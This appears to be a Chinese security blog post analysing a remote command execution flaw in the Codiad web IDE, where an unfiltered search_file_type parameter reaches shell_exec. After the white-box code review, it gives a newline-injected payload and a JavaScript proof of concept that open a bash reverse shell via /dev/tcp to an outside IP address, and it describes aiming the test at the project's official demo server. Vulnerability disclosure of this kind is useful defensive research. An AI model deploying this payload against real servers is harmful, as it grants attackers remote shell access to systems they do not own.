Codiad开源IDE远程命令执行漏洞

2017-08-02 09:15:41 0 16936 1

简介 :

Codiad 是一个开源基于Web的IDE应用程序,用于在线编写和编辑代码。

这个应用程序采用PHP开发,并且不需要一个SQL数据库,数据是存储在一个JSON格式的文件中。

它的界面包含三个面板:

项目/文件管理器具

代码编辑器

菜单/功能

仓库 :

https://github.com/Codiad/Codiad 环境搭建 :

基础环境 :


PHP 7.0.20-2 (cli) (built: Jun 14 2017 05:30:04) ( NTS ) Copyright (c) 1997-2017 The PHP Group Zend Engine v3.0.0, Copyright (c) 1998-2017 Zend Technologies with Zend OPcache v7.0.20-2, Copyright (c) 1999-2017, by Zend Technologies

Server version: Apache/2.4.25 (Debian) Server built: 2017-06-20T19:31:51

PHP扩展

apt install php7.0-mbstring
apt install php7.0-zip

PHP 配置

vim /etc/php/7.0/apache2/php.ini
zend.multibyte = On

应用环境 :


cd /var/www/html
git clone https://github.com/Codiad/Codiad.git
cd Codiad
cp config.example.php config.php
chmod o+w workspace
chmod o+w plugins
chmod o+w data
chmod o+w themes
chmod o+w config.php

问题 :

  1. 注意到这里在配置环境的时候需要给 config.php 写权限 隐隐感觉到可能会存在问题...
  2. 其他可以写的目录也可能为写入 shell 提供便利

创建项目

这里笔者将项目根目录放置于 : /root/pentest/ 需要为这个目录赋予写权限

chmod o+w /root/pentest

在这个文件夹下面创建一个 php 文件 index.php

<?php phpinfo();?>

开始测试 :

  1. 首先验证一下之前在 XMAN 中发现的命令执行漏洞是否可用

找到文件搜索功能 :

我们已经知道这个目录下面是存在文件 : index.php

<?php phpinfo();?>

直接搜索 phpinfo 抓包分析 :

白盒分析 :

// ./components/filemanager/controller.php

    public function search()
    {
        if (!function_exists('shell_exec')) {
            $this-status = "error";
            $this-message = "Shell_exec() Command Not Enabled.";
        } else {
            if ($_GET['type'] == 1) {
                $this-path = WORKSPACE;
            }
            $input = str_replace('"', '', $this-search_string);
            $input = preg_quote($input);
            $output = shell_exec('find -L ' . $this-path . ' -iregex  ".*' . $this-search_file_type  . '" -type f | xargs grep -i -I -n -R -H "' . $input . '"');
            $output_arr = explode("\n", $output);
            $return = array();
            foreach ($output_arr as $line) {
                $data = explode(":", $line);
                $da = array();
                if (count($data)  2) {
                    $da['line'] = $data[1];
                    $da['file'] = str_replace($this-path, '', $data[0]);
                    $da['result'] = str_replace($this-root, '', $data[0]);
                    $da['string'] = str_replace($data[0] . ":" . $data[1] . ':', '', $line);
                    $return[] = $da;
                }
            }
            if (count($return)==0) {
                $this-status = "error";
                $this-message = "No Results Returned";
            } else {
                $this-status = "success";
                $this-data = '"index":' . json_encode($return);
            }
        }
        $this-respond();
    }

// 重点在这句 , shell_exec 执行了系统命令 , 而且参数是我们可控的

$output = shell_exec('find -L ' . $this-path . ' -iregex  ".*' . $this-search_file_type  . '" -type f | xargs grep -i -I -n -R -H "' . $input . '"');

// 可控参数有 : // $this-path // $this-search_file_type // $input

根据这三个参数向上溯源可以发现 :

可以很容易就发现 , $this-search_file_type 这个参数是直接从 POST 参数中取出来的, 并没有经过任何过滤

这样一个命令执行漏洞就已经产生了

我们来查一下 shell_exec 函数的细节 :

通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。

而通过 shell 环境执行命令是可以使用换行符号的 , 这样很容易就可以执行我们的任意命令

构造命令 :

find -L /home/pentest -iregex  ".*SniperOJ"
/bin/bash -c 'sh -i & /dev/tcp/120.24.215.80/8888 0&1'
grep "SniperOJ" -type f | xargs grep -i -I -n -R -H "php"

也就是

search_file_type = SniperOJ"%0a%2Fbin%2Fbash+-c+%27sh+i+%26+%2Fdev%2Ftcp%2F8.8.8.8%2F8888+0%261%27%0agrep%20"SniperOJ

记得之前测试 Codiad 的官方 Demo 的时候 , 发现在创建项目的时候是可以直接使用 git 仓库进行创建的 所以说 , Demo所在的服务器是必然可以访问互联网的 那么我们接下来如果对官方 Demo 进行测试 , 应该也是可以成功的 接下来我们测试一下官方 Demo

黑盒测试问题汇总 :

  1. 安装的时候似乎可以任意制定项目路径 , 但是安装完成后就不能随意指定项目路径了 , 被允许的路径有 : /home/ 以及 /var/www/
  2. 官方 Demo 中虽然不允许输入绝对路径创建项目 , 但是可以使用 git 来拉取远程的仓库
  3. 官方 Demo 访问 http://demo.codiad.com/i/202118236174/workspace 则会 500 错误 POC
ip="8.8.8.8";
port="8888";
$.get("/components/project/controller.php?action=get_current",function(d){p=JSON.parse(d)['data']['path'];$.post("/components/filemanager/controller.php?action=search&path="+p,{"search_file_type":"\"\n/bin/bash -c 'sh -i &/dev/tcp/"+ip+"/"+port+" 0&1'\ngrep \"",});});

Github : https://github.com/WangYihang/Codiad-Remote-Code-Execute-Exploit

关于作者

WangYihang3篇文章5篇回复

评论0次

要评论?请先  登录  或  注册